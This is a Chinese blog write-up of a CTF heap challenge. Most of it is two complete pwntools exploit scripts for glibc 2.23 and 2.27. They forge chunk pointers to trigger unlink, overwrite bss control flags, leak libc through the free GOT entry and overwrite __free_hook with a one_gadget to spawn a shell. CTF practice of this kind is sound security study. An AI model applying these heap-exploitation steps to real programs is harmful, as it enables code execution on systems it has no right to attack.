一道Unlink pwn题 (非常好玩)

这个题目具体出处我现在还不知道  是某个学姐问我的 但是这个题确实很好玩

本来这个题我思路很多 但是 发现好多东西都限制特别多 加上我最近 很多事情都很烦心  (一堆考试 要复习 英语四级什么的还没有准备) 然后就把题 扔给 gou ri的负责人   但是不得不说这个题确实是我想复杂了   没有想到unlink 并且 unlink 我确实不太熟悉~~

然后这个题目 运行库是 2.23  但是我没有这个版本的 环境 加上我们都还没有学习高版本的防护措施    所以就用2.23的库来解决问题  这个题目 也是 经典的菜单题目

然后 有几点是 比较新鲜的

这里需要把这个变量转化成 1 要不然不能使用show函数

这里本意是限制 只能edit 2次 但是如果我们修改成3 或者更大 那么就可以无限使用了

这两个变量挨着  也方便了一些

然后直接看代码把

import sys
from pwn import *
context.log_level='debug'
#context.arch='amd64'

if len(sys.argv)==1 :
	io=process('./pwn',env={'LD_PRELOAD':'/lib/x86_64-linux-gnu/libc-2.23.so'})
	elf=ELF('./pwn')
	libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else :
	io=remote('',)
	elf=ELF('./pwn')
	libc=ELF('')

def add(a,b):
	io.sendlineafter('4.show\n','1')
	io.sendlineafter('index:\n',str(a))
	io.sendafter('content:\n',b)

def delete(a):
	io.sendlineafter('4.show\n','2')
	io.sendlineafter('index:\n',str(a))

def edit(a,b):
	io.sendlineafter('4.show\n','3')
	io.sendlineafter('index:\n',str(a))
	io.sendafter('content:\n',b)

def show(a):
	io.sendlineafter('4.show\n','4')
	io.sendlineafter('index:\n',str(a))

chunk_0_addr=0x404080
bss_flag=0x404188
fd=chunk_0_addr-0x18
bk=chunk_0_addr-0x10
add(0,'aaaa')
add(1,'aaaa')
add(2,'aaaa')
add(3,'aaaa')
add(4,'aaaa')
add(5,'aaaa')
add(6,'aaaa')
delete(0)
add(0,p64(0)+p64(0x20)+p64(fd)+p64(bk)+p64(0x20)+p8(0x90))
delete(1)
edit(0,'\x00'*0x18+p64(fd)+p64(bss_flag))
edit(1,p32(1)+p32(3))# bss_show_flag bss_edit_flag 
#gdb.attach(io)
edit(0,'\x00'*0x18+p64(fd)+p64(elf.got['free']))
show(1)
free_addr=u64(io.recv(6).ljust(8,'\x00'))
libc_base=free_addr-libc.sym['free']
success('libc_base'+hex(libc_base))
free_hook_addr=libc_base+libc.sym['__free_hook']
#system_addr=libc_base+libc.sym['system']
edit(0,'\x00'*0x18+p64(fd)+p64(free_hook_addr))
edit(1,p64(libc_base+0x4526a))
delete(4)
#gdb.attach(io)
#pause()
io.interactive()

2.27的 也搞定了  (这个保护 Tcache) 

import sys
from pwn import *
context.log_level='debug'
#context.arch='amd64'

if len(sys.argv)==1 :
	io=process('./pwn',env={'LD_PRELOAD':'/lib/x86_64-linux-gnu/libc.so.6'})
	elf=ELF('./pwn')
	libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
else :
	io=remote('',)
	elf=ELF('./pwn')
	libc=ELF('')

def add(a,b):
	io.sendlineafter('4.show\n','1')
	io.sendlineafter('index:\n',str(a))
	io.sendafter('content:\n',b)

def delete(a):
	io.sendlineafter('4.show\n','2')
	io.sendlineafter('index:\n',str(a))

def edit(a,b):
	io.sendlineafter('4.show\n','3')
	io.sendlineafter('index:\n',str(a))
	io.sendafter('content:\n',b)

def show(a):
	io.sendlineafter('4.show\n','4')
	io.sendlineafter('index:\n',str(a))

chunk_0_addr=0x404080
chunk_28_addr=0x404080+8*28
bss_flag=0x404080+0x108
fd=chunk_28_addr-0x18
bk=chunk_28_addr-0x10
for i in range(18):
	add(i,'aaaa')

for i in range(17-7,17)[::-1]:
	delete(i)
	add(i, '\x00' * 0x28 + '\x91')
	delete(i + 1)

for i in range(28, 32):
	add(i, '\n')
delete(28)
add(28,p64(0)+p64(0x20)+p64(fd)+p64(bk)+p64(0x20)+p8(0x90))
delete(29)
edit(28,'\x00'*0x18+p64(fd)+p64(bss_flag))
edit(29,p32(1)+p32(3))
edit(28,'\x00'*0x18+p64(fd)+p64(elf.got['free']))
show(29)
free_addr=u64(io.recv(6).ljust(8,'\x00'))
libc_base=free_addr-libc.sym['free']
success('libc_base'+hex(libc_base))
free_hook_addr=libc_base+libc.sym['__free_hook']
edit(28,'\x00'*0x18+p64(fd)+p64(free_hook_addr))
edit(29,p64(libc_base+0xe42ee))
delete(4)

#gdb.attach(io)
#pause()
io.interactive()

猜你喜欢

转载自blog.csdn.net/qq_41071646/article/details/91490703
今日推荐